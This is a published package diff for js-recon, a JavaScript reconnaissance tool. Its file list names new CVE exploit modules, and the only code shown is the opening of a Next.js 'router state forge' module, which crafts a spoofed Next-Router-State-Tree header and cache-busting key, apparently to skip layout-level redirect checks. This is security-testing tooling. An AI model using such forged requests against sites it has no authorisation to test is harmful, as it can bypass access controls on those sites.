@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-sync/sync.sh +1 -1
- package/.github/workflows/build-and-prettify.yaml +55 -25
- package/.github/workflows/codeql.yml +33 -0
- package/.github/workflows/exploit-smoke-test.yaml +160 -0
- package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
- package/.github/workflows/plumber.yml +20 -0
- package/.github/workflows/promote-js-recon.yml +5 -3
- package/.github/workflows/publish-js-recon.yml +6 -1
- package/.github/workflows/rules-smoke-test.yaml +15 -7
- package/.nvmrc +1 -0
- package/.plumber.yaml +151 -0
- package/CHANGELOG.md +54 -0
- package/CONTRIBUTING.md +32 -0
- package/Dockerfile +1 -0
- package/README.md +55 -2
- package/SECURITY.md +1 -1
- package/build/analyze/engine/astEngine.js +10 -9
- package/build/analyze/engine/astEngine.js.map +1 -1
- package/build/analyze/engine/csMastSEngine.js +6 -6
- package/build/analyze/engine/csMastSEngine.js.map +1 -1
- package/build/analyze/engine/index.js +1 -1
- package/build/analyze/engine/index.js.map +1 -1
- package/build/analyze/engine/requestEngine.js +6 -6
- package/build/analyze/engine/requestEngine.js.map +1 -1
- package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
- package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
- package/build/analyze/helpers/initRules.js +42 -24
- package/build/analyze/helpers/initRules.js.map +1 -1
- package/build/analyze/helpers/outputHelper.js +3 -3
- package/build/analyze/helpers/outputHelper.js.map +1 -1
- package/build/analyze/helpers/schemas.js +1 -0
- package/build/analyze/helpers/schemas.js.map +1 -1
- package/build/analyze/helpers/validate.js +9 -5
- package/build/analyze/helpers/validate.js.map +1 -1
- package/build/analyze/index.js +26 -16
- package/build/analyze/index.js.map +1 -1
- package/build/cliProgram.js +710 -0
- package/build/cliProgram.js.map +1 -0
- package/build/completion/index.js +245 -339
- package/build/completion/index.js.map +1 -1
- package/build/completion/introspect.js +17 -0
- package/build/completion/introspect.js.map +1 -0
- package/build/config/applicationConfig.js +494 -0
- package/build/config/applicationConfig.js.map +1 -0
- package/build/cs_mast/index.js +18 -17
- package/build/cs_mast/index.js.map +1 -1
- package/build/endpoints/gen_report/gen_json.js +2 -2
- package/build/endpoints/gen_report/gen_json.js.map +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
- package/build/endpoints/index.js +12 -12
- package/build/endpoints/index.js.map +1 -1
- package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
- package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
- package/build/endpoints/next_js/client_jsonParse.js +4 -4
- package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
- package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
- package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
- package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
- package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
- package/build/exploit/angular/cve-2026-68945.js +61 -0
- package/build/exploit/angular/cve-2026-68945.js.map +1 -0
- package/build/exploit/index.js +60 -0
- package/build/exploit/index.js.map +1 -0
- package/build/exploit/next/cve-2025-29927.js +65 -0
- package/build/exploit/next/cve-2025-29927.js.map +1 -0
- package/build/exploit/next/cve-2026-64645.js +51 -0
- package/build/exploit/next/cve-2026-64645.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71315.js +47 -0
- package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71320.js +114 -0
- package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
- package/build/exploit/react/cve-2025-55182.js +116 -0
- package/build/exploit/react/cve-2025-55182.js.map +1 -0
- package/build/exploit/registry/cveRegistry.js +115 -0
- package/build/exploit/registry/cveRegistry.js.map +1 -0
- package/build/exploit/types.js +2 -0
- package/build/exploit/types.js.map +1 -0
- package/build/exploit/utility/compareResponses.js +29 -0
- package/build/exploit/utility/compareResponses.js.map +1 -0
- package/build/exploit/utility/outputHelper.js +22 -0
- package/build/exploit/utility/outputHelper.js.map +1 -0
- package/build/exploit/utility/rawRequest.js +54 -0
- package/build/exploit/utility/rawRequest.js.map +1 -0
- package/build/exploit/utility/sandboxRce.js +49 -0
- package/build/exploit/utility/sandboxRce.js.map +1 -0
- package/build/exploit/utility/toEngineOutput.js +28 -0
- package/build/exploit/utility/toEngineOutput.js.map +1 -0
- package/build/exploit/utility/wsClient.js +78 -0
- package/build/exploit/utility/wsClient.js.map +1 -0
- package/build/exploit/vite/cve-2025-30208.js +44 -0
- package/build/exploit/vite/cve-2025-30208.js.map +1 -0
- package/build/exploit/vite/cve-2026-39363.js +60 -0
- package/build/exploit/vite/cve-2026-39363.js.map +1 -0
- package/build/fingerprint/index.js +11 -21
- package/build/fingerprint/index.js.map +1 -1
- package/build/globalConfig.js +2 -2
- package/build/globalConfig.js.map +1 -1
- package/build/index.js +16 -555
- package/build/index.js.map +1 -1
- package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
- package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/downloadFilesUtil.js +51 -40
- package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
- package/build/lazyLoad/downloadQueue.js +154 -50
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/downloadResponse.js +113 -0
- package/build/lazyLoad/downloadResponse.js.map +1 -0
- package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
- package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
- package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
- package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
- package/build/lazyLoad/globals.js +35 -0
- package/build/lazyLoad/globals.js.map +1 -1
- package/build/lazyLoad/index.js +311 -175
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +2 -0
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +39 -14
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
- package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +21 -20
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_SubsequentRequests.js +100 -99
- package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
- package/build/lazyLoad/next_js/next_buildId.js +2 -2
- package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
- package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
- package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
- package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
- package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/outputPath.js +92 -0
- package/build/lazyLoad/outputPath.js.map +1 -0
- package/build/lazyLoad/react/react_followImports.js +15 -5
- package/build/lazyLoad/react/react_followImports.js.map +1 -1
- package/build/lazyLoad/react/react_getScriptTags.js +11 -6
- package/build/lazyLoad/react/react_getScriptTags.js.map +1 -1
- package/build/lazyLoad/react/react_sourcemapUrls.js +3 -2
- package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
- package/build/lazyLoad/react/react_webpackChunkPaths.js +12 -203
- package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
- package/build/lazyLoad/researchUtils.js +15 -0
- package/build/lazyLoad/researchUtils.js.map +1 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
- package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
- package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
- package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
- package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
- package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +106 -60
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_RuntimeJs.js +20 -15
- package/build/lazyLoad/vue/vue_RuntimeJs.js.map +1 -1
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +10 -5
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +20 -17
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js +70 -46
- package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/vue/vue_jsImports.js +3 -2
- package/build/lazyLoad/vue/vue_jsImports.js.map +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js +3 -2
- package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +6 -5
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +10 -21
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js +5 -4
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_stringJsFiles.js +28 -25
- package/build/lazyLoad/vue/vue_stringJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_viteMapDeps.js +8 -2
- package/build/lazyLoad/vue/vue_viteMapDeps.js.map +1 -1
- package/build/load/index.js +8 -7
- package/build/load/index.js.map +1 -1
- package/build/map/angular_js/getAngularConnections.js +6 -6
- package/build/map/angular_js/getAngularConnections.js.map +1 -1
- package/build/map/graphql/resolveGraphql.js +6 -6
- package/build/map/graphql/resolveGraphql.js.map +1 -1
- package/build/map/index.js +17 -17
- package/build/map/index.js.map +1 -1
- package/build/map/interactive-mode/commandHandler.js +278 -0
- package/build/map/interactive-mode/commandHandler.js.map +1 -0
- package/build/map/interactive-mode/commandHelpers.js +189 -0
- package/build/map/interactive-mode/commandHelpers.js.map +1 -0
- package/build/map/interactive-mode/esqueryGen.js.map +1 -0
- package/build/map/interactive-mode/helpMenu.js +11 -0
- package/build/map/interactive-mode/helpMenu.js.map +1 -0
- package/build/map/interactive-mode/inputPatch.js.map +1 -0
- package/build/map/interactive-mode/interactive.js +71 -0
- package/build/map/interactive-mode/interactive.js.map +1 -0
- package/build/map/interactive-mode/keybindings.js.map +1 -0
- package/build/map/interactive-mode/printer.js.map +1 -0
- package/build/map/interactive-mode/ui.js.map +1 -0
- package/build/map/next_js/getAxiosInstances.js +5 -5
- package/build/map/next_js/getAxiosInstances.js.map +1 -1
- package/build/map/next_js/getExports.js +4 -4
- package/build/map/next_js/getExports.js.map +1 -1
- package/build/map/next_js/getFetchInstances.js +10 -10
- package/build/map/next_js/getFetchInstances.js.map +1 -1
- package/build/map/next_js/getTurbopackConnections.js +8 -8
- package/build/map/next_js/getTurbopackConnections.js.map +1 -1
- package/build/map/next_js/getWebpackConnections.js +27 -16
- package/build/map/next_js/getWebpackConnections.js.map +1 -1
- package/build/map/next_js/interactive.js +3 -65
- package/build/map/next_js/interactive.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
- package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
- package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
- package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/next_js/resolveAxios.js +6 -6
- package/build/map/next_js/resolveAxios.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
- package/build/map/next_js/resolveFetch.js +23 -23
- package/build/map/next_js/resolveFetch.js.map +1 -1
- package/build/map/next_js/resolveNewRequest.js +10 -10
- package/build/map/next_js/resolveNewRequest.js.map +1 -1
- package/build/map/next_js/resolveServerActions.js +4 -4
- package/build/map/next_js/resolveServerActions.js.map +1 -1
- package/build/map/next_js/utils.js +8 -2
- package/build/map/next_js/utils.js.map +1 -1
- package/build/map/react_js/getReactConnections.js +21 -14
- package/build/map/react_js/getReactConnections.js.map +1 -1
- package/build/map/svelte_js/interactive.js +3 -54
- package/build/map/svelte_js/interactive.js.map +1 -1
- package/build/map/vue_js/getViteConnections.js +23 -16
- package/build/map/vue_js/getViteConnections.js.map +1 -1
- package/build/map/vue_js/interactive.js +3 -63
- package/build/map/vue_js/interactive.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
- package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/vue_js/taint_utils.js +1 -1
- package/build/map/vue_js/taint_utils.js.map +1 -1
- package/build/map/vue_js/vue_resolveFetch.js +12 -12
- package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
- package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
- package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
- package/build/map/vue_js/vue_resolveXhr.js +11 -11
- package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
- package/build/mcp/chatOneShot.js +7 -7
- package/build/mcp/chatOneShot.js.map +1 -1
- package/build/mcp/claudeCodeCreds.js +5 -5
- package/build/mcp/claudeCodeCreds.js.map +1 -1
- package/build/mcp/cli.js +36 -35
- package/build/mcp/cli.js.map +1 -1
- package/build/mcp/config.js +4 -4
- package/build/mcp/config.js.map +1 -1
- package/build/mcp/index.js +7 -7
- package/build/mcp/index.js.map +1 -1
- package/build/mcp/mcpServer.js +3 -2
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/skills.js +1 -0
- package/build/mcp/skills.js.map +1 -1
- package/build/mcp/tools.js +5 -4
- package/build/mcp/tools.js.map +1 -1
- package/build/proxy/checkFeasibility.js +8 -4
- package/build/proxy/checkFeasibility.js.map +1 -1
- package/build/proxy/checkFireWallBlocking.js +23 -13
- package/build/proxy/checkFireWallBlocking.js.map +1 -1
- package/build/proxy/detectBlockedResponse.js +205 -0
- package/build/proxy/detectBlockedResponse.js.map +1 -0
- package/build/proxy/genReq.js +434 -127
- package/build/proxy/genReq.js.map +1 -1
- package/build/proxy/index.js +3 -3
- package/build/proxy/index.js.map +1 -1
- package/build/proxy/oxylabsFallback.js +110 -0
- package/build/proxy/oxylabsFallback.js.map +1 -0
- package/build/proxy/proxyFeasibilityRequest.js +11 -9
- package/build/proxy/proxyFeasibilityRequest.js.map +1 -1
- package/build/refactor/index.js +83 -79
- package/build/refactor/index.js.map +1 -1
- package/build/refactor/next/index.js +69 -26
- package/build/refactor/next/index.js.map +1 -1
- package/build/refactor/next/transform.js +11 -4
- package/build/refactor/next/transform.js.map +1 -1
- package/build/refactor/next/validator.js +7 -7
- package/build/refactor/next/validator.js.map +1 -1
- package/build/refactor/react/index.js +13 -13
- package/build/refactor/react/index.js.map +1 -1
- package/build/refactor/react/validator.js +7 -7
- package/build/refactor/react/validator.js.map +1 -1
- package/build/refactor/react-vite/index.js +3 -3
- package/build/refactor/react-vite/index.js.map +1 -1
- package/build/refactor/remote/hf-client.js +1 -0
- package/build/refactor/remote/hf-client.js.map +1 -1
- package/build/refactor/remote/version-detect.js +12 -12
- package/build/refactor/remote/version-detect.js.map +1 -1
- package/build/refactor/vue/index.js +6 -6
- package/build/refactor/vue/index.js.map +1 -1
- package/build/refactor/vue/vite.js +6 -6
- package/build/refactor/vue/vite.js.map +1 -1
- package/build/report/index.js +30 -8
- package/build/report/index.js.map +1 -1
- package/build/report/swaggerJacker.js +63 -0
- package/build/report/swaggerJacker.js.map +1 -0
- package/build/report/utility/genHtml.js +7 -7
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
- package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
- package/build/report/utility/populateDb/populateEndpoints.js +3 -3
- package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedJson.js +2 -2
- package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
- package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
- package/build/run/bundler-detect.js +45 -9
- package/build/run/bundler-detect.js.map +1 -1
- package/build/run/cancellableStep.js +27 -0
- package/build/run/cancellableStep.js.map +1 -0
- package/build/run/dashboard/dashboardHtml.js +150 -0
- package/build/run/dashboard/dashboardHtml.js.map +1 -0
- package/build/run/dashboard/fsBrowser.js +43 -0
- package/build/run/dashboard/fsBrowser.js.map +1 -0
- package/build/run/dashboard/server.js +123 -0
- package/build/run/dashboard/server.js.map +1 -0
- package/build/run/dashboard/state.js +97 -0
- package/build/run/dashboard/state.js.map +1 -0
- package/build/run/index.js +239 -204
- package/build/run/index.js.map +1 -1
- package/build/run/interruptHandler.js +18 -0
- package/build/run/interruptHandler.js.map +1 -1
- package/build/run/outputDirectory.js +377 -0
- package/build/run/outputDirectory.js.map +1 -0
- package/build/sourcemaps/index.js +116 -29
- package/build/sourcemaps/index.js.map +1 -1
- package/build/strings/index.js +38 -28
- package/build/strings/index.js.map +1 -1
- package/build/strings/openapi.js +4 -4
- package/build/strings/openapi.js.map +1 -1
- package/build/strings/permutate.js +4 -4
- package/build/strings/permutate.js.map +1 -1
- package/build/strings/secrets.js +1 -0
- package/build/strings/secrets.js.map +1 -1
- package/build/strings/trufflehog.js +66 -19
- package/build/strings/trufflehog.js.map +1 -1
- package/build/strings/trufflehogConfig.js +36 -0
- package/build/strings/trufflehogConfig.js.map +1 -0
- package/build/strings/trufflehogDownload.js +115 -0
- package/build/strings/trufflehogDownload.js.map +1 -0
- package/build/utility/ai.js +33 -4
- package/build/utility/ai.js.map +1 -1
- package/build/utility/banner.js +4 -3
- package/build/utility/banner.js.map +1 -1
- package/build/utility/configureSandbox.js +2 -2
- package/build/utility/configureSandbox.js.map +1 -1
- package/build/utility/downloadProgress.js +99 -0
- package/build/utility/downloadProgress.js.map +1 -0
- package/build/utility/globals.js +19 -11
- package/build/utility/globals.js.map +1 -1
- package/build/utility/heap.js +2 -1
- package/build/utility/heap.js.map +1 -1
- package/build/utility/makeReq.js +490 -257
- package/build/utility/makeReq.js.map +1 -1
- package/build/utility/openapiGenerator.js +2 -2
- package/build/utility/openapiGenerator.js.map +1 -1
- package/build/utility/printMsg.js +53 -0
- package/build/utility/printMsg.js.map +1 -0
- package/build/utility/progressLog.js +68 -7
- package/build/utility/progressLog.js.map +1 -1
- package/build/utility/resolvePath.js +2 -1
- package/build/utility/resolvePath.js.map +1 -1
- package/build/utility/ruleVersionMap.js +73 -0
- package/build/utility/ruleVersionMap.js.map +1 -0
- package/build/utility/targetInputs.js +177 -0
- package/build/utility/targetInputs.js.map +1 -0
- package/build/utility/urlUtils.js +37 -1
- package/build/utility/urlUtils.js.map +1 -1
- package/config.dist.yaml +251 -0
- package/contributing/testing.md +106 -0
- package/eslint.config.js +24 -0
- package/package.json +22 -5
- package/scripts/exploit-smoke-test.js +82 -0
- package/scripts/framework-detect-smoke-test.js +64 -0
- package/scripts/postinstall-completion.mjs +40 -0
- package/scripts/smoke-test.js +12 -0
- package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
- package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
- package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
- package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
- package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
- package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
- package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
|
@@ -0,0 +1,341 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { createHash } from "node:crypto";
|
|
11
|
+
import rawRequest from "../../exploit/utility/rawRequest.js";
|
|
12
|
+
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
13
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
14
|
+
/** Marker Next.js embeds in a Flight payload when a layout/page calls redirect(). */
|
|
15
|
+
const NEXT_REDIRECT_MARKER = "NEXT_REDIRECT";
|
|
16
|
+
/** Converts one ancestor segment to its FlightRouterState wire representation. */
|
|
17
|
+
const toSegmentRepr = (segment) => typeof segment === "string" ? segment : [segment.paramName, segment.value, "d"];
|
|
18
|
+
/** The literal URL path value of an ancestor segment, regardless of representation. */
|
|
19
|
+
export const ancestorSegmentValue = (segment) => typeof segment === "string" ? segment : segment.value;
|
|
20
|
+
/**
|
|
21
|
+
* Builds the `Next-Router-State-Tree` header value: a URL-encoded FlightRouterState
|
|
22
|
+
* claiming every segment in `ancestorSegments` is already client-rendered, with the
|
|
23
|
+
* leaf segment either an ordinary `__PAGE__` node or (leafMode="metadata-only") a node
|
|
24
|
+
* flagged so Next.js only re-executes `generateMetadata()` for it. Mirrors the
|
|
25
|
+
* `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`.
|
|
26
|
+
*/
|
|
27
|
+
export const buildStateTreeHeader = (ancestorSegments, leafMode = "page") => {
|
|
28
|
+
let node = leafMode === "metadata-only" ? ["__PAGE__", {}, null, "metadata-only"] : ["__PAGE__", {}];
|
|
29
|
+
for (let i = ancestorSegments.length - 1; i >= 0; i--) {
|
|
30
|
+
node = [toSegmentRepr(ancestorSegments[i]), { children: node }];
|
|
31
|
+
}
|
|
32
|
+
const tree = ["", { children: node }];
|
|
33
|
+
return encodeURIComponent(JSON.stringify(tree));
|
|
34
|
+
};
|
|
35
|
+
/**
|
|
36
|
+
* Strong `_rsc` cache-busting key: SHA-256 of the four cache-busting inputs, truncated to
|
|
37
|
+
* 96 bits and base64url-encoded. Mirrors `computeCacheBustingSearchParam` in
|
|
38
|
+
* `shared/lib/router/utils/cache-busting-search-param.ts` — not a secret, any client can
|
|
39
|
+
* compute it from headers it itself sends.
|
|
40
|
+
*/
|
|
41
|
+
export const computeStrongRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
|
|
42
|
+
const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
|
|
43
|
+
const digest = createHash("sha256").update(input).digest();
|
|
44
|
+
return digest.subarray(0, 12).toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
|
|
45
|
+
};
|
|
46
|
+
/**
|
|
47
|
+
* 32-bit djb2xor hash, as used by Next.js's legacy (non-cryptographic) cache-busting key.
|
|
48
|
+
* Mirrors `djb2Hash` in `shared/lib/hash.ts`.
|
|
49
|
+
*/
|
|
50
|
+
const djb2Hash = (str) => {
|
|
51
|
+
let hash = 5381;
|
|
52
|
+
for (let i = 0; i < str.length; i++) {
|
|
53
|
+
hash = ((hash << 5) + hash + str.charCodeAt(i)) & 0xffffffff;
|
|
54
|
+
}
|
|
55
|
+
return hash >>> 0;
|
|
56
|
+
};
|
|
57
|
+
/**
|
|
